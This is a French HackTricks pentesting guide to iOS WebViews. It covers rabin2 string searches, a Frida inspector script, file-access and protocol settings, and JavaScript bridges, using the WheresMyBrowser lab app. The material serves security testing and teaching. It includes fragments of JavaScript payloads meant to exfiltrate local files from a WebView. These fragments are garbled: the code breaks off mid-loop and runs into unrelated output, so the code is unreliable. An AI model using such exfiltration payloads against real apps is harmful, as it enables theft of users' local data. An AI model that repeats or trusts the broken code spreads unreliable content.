Les WebViews sont des composants de navigateur intégrés aux applications pour afficher du contenu web interactif. Ils peuvent être utilisés pour intégrer directement du contenu web dans l'interface utilisateur d'une application. Les WebViews iOS prennent en charge l'exécution de JavaScript par défaut, de sorte que l'injection de script et les attaques de script intersites peuvent les affecter. * **UIWebView** : UIWebView est obsolète à partir d'iOS 12 et ne doit pas être utilisé. Il ne devrait pas être utilisé. JavaScript ne peut pas être désactivé. * **WKWebView** : c'est le choix approprié pour étendre la fonctionnalité de l'application, contrôler le contenu affiché. * JavaScript est activé par défaut, mais grâce à la propriété `javaScriptEnabled` de `WKWebView`, il peut être complètement désactivé, empêchant toutes les failles d'injection de script. * La propriété `JavaScriptCanOpenWindowsAutomatically` peut être utilisée pour empêcher JavaScript d'ouvrir de nouvelles fenêtres, telles que des pop-ups. * La propriété `hasOnlySecureContent` peut être utilisée pour vérifier que les ressources chargées par le WebView sont récupérées via des connexions chiffrées. * `WKWebView` implémente un rendu hors processus, de sorte que les bugs de corruption de mémoire n'affecteront pas le processus principal de l'application. * **SFSafariViewController** : il doit être utilisé pour fournir une expérience de visualisation web généralisée. Ces WebViews peuvent être facilement repérés car ils ont une disposition caractéristique qui comprend les éléments suivants : * Un champ d'adresse en lecture seule avec un indicateur de sécurité. * Un bouton d'action ("Partager"). * Un bouton "Terminé", des boutons de navigation avant et arrière, et un bouton "Safari" pour ouvrir la page directement dans Safari. * JavaScript ne peut pas être désactivé dans `SFSafariViewController` et c'est l'une des raisons pour lesquelles l'utilisation de `WKWebView` est recommandée lorsque l'objectif est d'étendre l'interface utilisateur de l'application. * `SFSafariViewController` partage également les cookies et autres données de site Web avec Safari. * L'activité et l'interaction de l'utilisateur avec un `SFSafariViewController` ne sont pas visibles pour l'application, qui ne peut pas accéder aux données de saisie automatique, à l'historique de navigation ou aux données de site Web. * Selon les directives de révision de l'App Store, les `SFSafariViewController` ne peuvent pas être masqués ou obscurcis par d'autres vues ou couches. ## Découverte de la configuration des WebViews ### Analyse statique **UIWebView** ```bash $ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$" 489 0x0002fee9 0x10002fee9 9 10 (5.__TEXT.__cstring) ascii UIWebView 896 0x0003c813 0x0003c813 24 25 () ascii @_OBJC_CLASS_$_UIWebView 1754 0x00059599 0x00059599 23 24 () ascii _OBJC_CLASS_$_UIWebView ``` **WKWebView** WKWebView est une vue Web introduite dans iOS 8 qui remplace UIWebView. Elle est plus rapide et plus efficace que UIWebView car elle utilise le moteur de rendu WebKit. Elle prend également en charge les fonctionnalités HTML5 et JavaScript modernes. Pour tester une application iOS qui utilise WKWebView, vous pouvez utiliser des outils tels que Burp Suite ou OWASP ZAP pour intercepter et modifier le trafic HTTP/S. Vous pouvez également utiliser des outils tels que Frida ou Cycript pour injecter du code JavaScript dans l'application et manipuler la vue Web. Il est important de noter que les applications iOS utilisant WKWebView peuvent être vulnérables à des attaques de type XSS (Cross-Site Scripting) si elles ne sont pas correctement sécurisées. Les développeurs doivent s'assurer que toutes les entrées utilisateur sont correctement validées et échappées avant d'être affichées dans la vue Web. ```bash $ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$" 490 0x0002fef3 0x10002fef3 9 10 (5.__TEXT.__cstring) ascii WKWebView 625 0x00031670 0x100031670 17 18 (5.__TEXT.__cstring) ascii unwindToWKWebView 904 0x0003c960 0x0003c960 24 25 () ascii @_OBJC_CLASS_$_WKWebView 1757 0x000595e4 0x000595e4 23 24 () ascii _OBJC_CLASS_$_WKWebView ``` Alternativement, vous pouvez également rechercher les méthodes connues de ces classes WebView. Par exemple, recherchez la méthode utilisée pour initialiser un WKWebView ([`init(frame:configuration:)`](https://developer.apple.com/documentation/webkit/wkwebview/1414998-init)): ```bash $ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame" 0x5c3ac 77 76 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfC 0x5d97a 79 78 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfcTO 0x6b5d5 77 76 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfC 0x6c3fa 79 78 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfcTO ``` #### Test de la configuration JavaScript Pour les `WKWebView`, il est recommandé de désactiver JavaScript sauf s'il est explicitement requis. Pour vérifier que JavaScript a été correctement désactivé, recherchez les utilisations de `WKPreferences` dans le projet et assurez-vous que la propriété [`javaScriptEnabled`](https://developer.apple.com/documentation/webkit/wkpreferences/1536203-javascriptenabled) est définie sur `false`: ``` let webPreferences = WKPreferences() webPreferences.javaScriptEnabled = false ``` Si vous avez seulement le binaire compilé, vous pouvez chercher cela dedans : ```bash $ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled" 391 0x0002f2c7 0x10002f2c7 17 18 (4.__TEXT.__objc_methname) ascii javaScriptEnabled 392 0x0002f2d9 0x10002f2d9 21 22 (4.__TEXT.__objc_methname) ascii setJavaScriptEnabled ``` #### Test de OnlySecureContent Contrairement aux `UIWebView`, lors de l'utilisation de `WKWebView`, il est possible de détecter [du contenu mixte](https://developers.google.com/web/fundamentals/security/prevent-mixed-content/fixing-mixed-content?hl=en) (contenu HTTP chargé à partir d'une page HTTPS). En utilisant la méthode [`hasOnlySecureContent`](https://developer.apple.com/documentation/webkit/wkwebview/1415002-hasonlysecurecontent), il est possible de vérifier si toutes les ressources de la page ont été chargées via des connexions sécurisées et cryptées.\ Dans le binaire compilé : ```bash $ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent" ``` Vous pouvez également rechercher dans le code source ou les chaînes la chaîne "http://". Cependant, cela ne signifie pas nécessairement qu'il y a un problème de contenu mixte. En savoir plus sur le contenu mixte dans les [MDN Web Docs](https://developer.mozilla.org/en-US/docs/Web/Security/Mixed\_content). ### Analyse dynamique Il est possible d'inspecter le tas via `ObjC.choose()` pour trouver des instances des différents types de WebViews et également rechercher les propriétés `javaScriptEnabled` et `hasonlysecurecontent` : {% code title="webviews_inspector.js" %} ```javascript ObjC.choose(ObjC.classes['UIWebView'], { onMatch: function (ui) { console.log('onMatch: ', ui); console.log('URL: ', ui.request().toString()); }, onComplete: function () { console.log('done for UIWebView!'); } }); ObjC.choose(ObjC.classes['WKWebView'], { onMatch: function (wk) { console.log('onMatch: ', wk); console.log('URL: ', wk.URL().toString()); }, onComplete: function () { console.log('done for WKWebView!'); } }); ObjC.choose(ObjC.classes['SFSafariViewController'], { onMatch: function (sf) { console.log('onMatch: ', sf); }, onComplete: function () { console.log('done for SFSafariViewController!'); } }); ObjC.choose(ObjC.classes['WKWebView'], { onMatch: function (wk) { console.log('onMatch: ', wk); console.log('javaScriptEnabled:', wk.configuration().preferences().javaScriptEnabled()); } }); ObjC.choose(ObjC.classes['WKWebView'], { onMatch: function (wk) { console.log('onMatch: ', wk); console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString()); } }); ``` {% endcode %} Chargez-le avec: ```bash frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js onMatch: > hasOnlySecureContent: false ``` ## Gestion des protocoles WebView Plusieurs schémas par défaut sont disponibles et sont interprétés dans une WebView sur iOS, par exemple : * http(s):// * file:// * tel:// Les WebViews peuvent charger du contenu distant à partir d'un point de terminaison, mais elles peuvent également charger du contenu local à partir du répertoire de données de l'application. Si le contenu local est chargé, l'utilisateur ne devrait pas être en mesure d'influencer le nom de fichier ou le chemin utilisé pour charger le fichier, et les utilisateurs ne devraient pas être en mesure de modifier le fichier chargé. ### Chargement de contenu WebView * **UIWebView** : Il peut utiliser des méthodes obsolètes [`loadHTMLString:baseURL:`](https://developer.apple.com/documentation/uikit/uiwebview/1617979-loadhtmlstring?language=objc) ou [`loadData:MIMEType:textEncodingName:baseURL:`](https://developer.apple.com/documentation/uikit/uiwebview/1617941-loaddata?language=objc) pour charger du contenu. * **WKWebView** : Il peut utiliser les méthodes [`loadHTMLString:baseURL:`](https://developer.apple.com/documentation/webkit/wkwebview/1415004-loadhtmlstring?language=objc) ou [`loadData:MIMEType:textEncodingName:baseURL:`](https://developer.apple.com/documentation/webkit/wkwebview/1415011-loaddata?language=objc) pour charger des fichiers HTML locaux et `loadRequest:` pour le contenu web. Typiquement, les fichiers locaux sont chargés en combinaison avec des méthodes incluant, entre autres : [`pathForResource:ofType:`](https://developer.apple.com/documentation/foundation/nsbundle/1410989-pathforresource), [`URLForResource:withExtension:`](https://developer.apple.com/documentation/foundation/nsbundle/1411540-urlforresource?language=objc) ou [`init(contentsOf:encoding:)`](https://developer.apple.com/documentation/swift/string/3126736-init). De plus, vous devriez également vérifier si l'application utilise la méthode [`loadFileURL:allowingReadAccessToURL:`](https://developer.apple.com/documentation/webkit/wkwebview/1414973-loadfileurl?language=objc). Son premier paramètre est `URL` et contient l'URL à charger dans la WebView, son deuxième paramètre `allowingReadAccessToURL` peut contenir un seul fichier ou un répertoire. S'il contient un seul fichier, ce fichier sera disponible pour la WebView. Cependant, s'il contient un répertoire, tous les fichiers de ce **répertoire seront disponibles pour la WebView**. Par conséquent, il vaut la peine d'inspecter cela et, dans le cas où il s'agit d'un répertoire, de vérifier qu'aucune donnée sensible ne peut être trouvée à l'intérieur. Si vous avez le code source, vous pouvez rechercher ces méthodes. Si vous avez le **binaire compilé**, vous pouvez également rechercher ces méthodes : ```bash $ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString" 231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL: ``` ### Accès aux fichiers * **UIWebView:** * Le schéma `file://` est toujours activé. * L'accès aux fichiers à partir des URL `file://` est toujours activé. * L'accès universel à partir des URL `file://` est toujours activé. * Si vous récupérez l'origine effective d'un `UIWebView` où `baseURL` est également défini sur `nil`, vous verrez qu'elle n'est **pas définie sur "null"**, mais vous obtiendrez quelque chose de similaire à ce qui suit : `applewebdata://5361016c-f4a0-4305-816b-65411fc1d78`. Cette origine "applewebdata://" est similaire à l'origine "file://" car elle **n'implémente pas la politique de même origine** et permet l'accès aux fichiers locaux et à toutes les ressources web. {% tabs %} {% tab title="exfiltrate_file" %} ```javascript String.prototype.hexEncode = function(){ var hex, i; var result = ""; for (i=0; i> URL: file:///var/mobile/Containers/Data/Application/A654D169-1DB7-429C-9DB9-A871389A8BAA/ Library/WKWebView/scenario1.html javaScriptEnabled: true allowFileAccessFromFileURLs: 0 hasOnlySecureContent: false allowUniversalAccessFromFileURLs: 0 ``` #### Exfiltrer des fichiers arbitraires ```javascript //For some reason this payload doesn't work!! //Let me know if you know how to exfiltrate local files from a WKWebView String.prototype.hexEncode = function(){ var hex, i; var result = ""; for (i=0; i ``` ### Fonction appelée La fonction appelée se trouve dans [`JavaScriptBridgeMessageHandler.swift`](https://github.com/authenticationfailure/WheresMyBrowser.iOS/blob/b8d4abda4000aa509c7a5de79e5c90360d1d0849/WheresMyBrowser/JavaScriptBridgeMessageHandler.swift#L29) : ```swift class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler { //... case "multiplyNumbers": let arg1 = Double(messageArray[1])! let arg2 = Double(messageArray[2])! result = String(arg1 * arg2) //... let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')" message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil) ``` ### Test Pour tester l'envoi d'un postMessage à l'intérieur d'une application, vous pouvez : * Changer la réponse des serveurs (MitM) * Effectuer une instrumentation dynamique et injecter la charge utile JavaScript en utilisant des frameworks tels que Frida et les fonctions d'évaluation JavaScript correspondantes disponibles pour les iOS WebViews ([`stringByEvaluatingJavaScriptFromString:`](https://developer.apple.com/documentation/uikit/uiwebview/1617963-stringbyevaluatingjavascriptfrom?language=objc) pour `UIWebView` et [`evaluateJavaScript:completionHandler:`](https://developer.apple.com/documentation/webkit/wkwebview/1415017-evaluatejavascript?language=objc) pour `WKWebView`). ## Débogage des iOS WebViews (Tutoriel de [https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews)) Dans les webviews iOS, les messages passés à `console.log()` ne sont _pas_ imprimés dans les journaux Xcode. Il est encore relativement facile de déboguer le contenu Web avec les outils de développement de Safari, bien qu'il y ait quelques limitations : * Le débogage des webviews iOS nécessite Safari, donc votre ordinateur de développement doit exécuter macOS. * Vous ne pouvez déboguer que les webviews dans les applications chargées sur votre appareil via Xcode. Vous ne pouvez pas déboguer les webviews dans les applications installées via l'App Store ou Apple Configurator. Avec ces limitations à l'esprit, voici les étapes pour déboguer à distance un webview dans iOS : * Tout d'abord, activez l'inspecteur Web Safari sur votre appareil iOS en ouvrant l'application iOS _Paramètres_, en naviguant vers **Paramètres > Safari > Avancé**, et en activant l'option _Inspecteur Web_. ![iOS Safari settings](https://blog.vuplex.com/article-assets/20190324-debugging-webviews/ios-safari-settings.jpg) * Ensuite, vous devez également activer les outils de développement dans Safari sur votre ordinateur de développement. Lancez Safari sur votre machine de développement et accédez à **Safari > Préférences** dans la barre de menus. Dans le volet des préférences qui apparaît, cliquez sur l'onglet _Avancé_ et activez l'option _Afficher le menu Développement_ en bas. Après avoir fait cela, vous pouvez fermer le volet des préférences. ![Mac Safari settings](https://blog.vuplex.com/article-assets/20190324-debugging-webviews/mac-safari-settings.jpg) * Connectez votre appareil iOS à votre ordinateur de développement et lancez votre application. * Dans Safari sur votre ordinateur de développement, cliquez sur _Développer_ dans la barre de menus et survolez l'option de menu déroulant qui est le nom de votre appareil iOS pour afficher une liste des instances de webview en cours d'exécution sur votre appareil iOS. ![Mac Safari develop menu](https://blog.vuplex.com/article-assets/20190324-debugging-webviews/mac-safari-develop-menu.jpg) * Cliquez sur l'option de menu déroulant pour le webview que vous souhaitez déboguer. Cela ouvrira une nouvelle fenêtre Safari Web Inspector pour inspecter le webview. ![Safari Web Inspector window](https://blog.vuplex.com/article-assets/20190324-debugging-webviews/mac-safari-inspector.jpg) ## Références * [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6) * [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! - Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) - Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) - **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.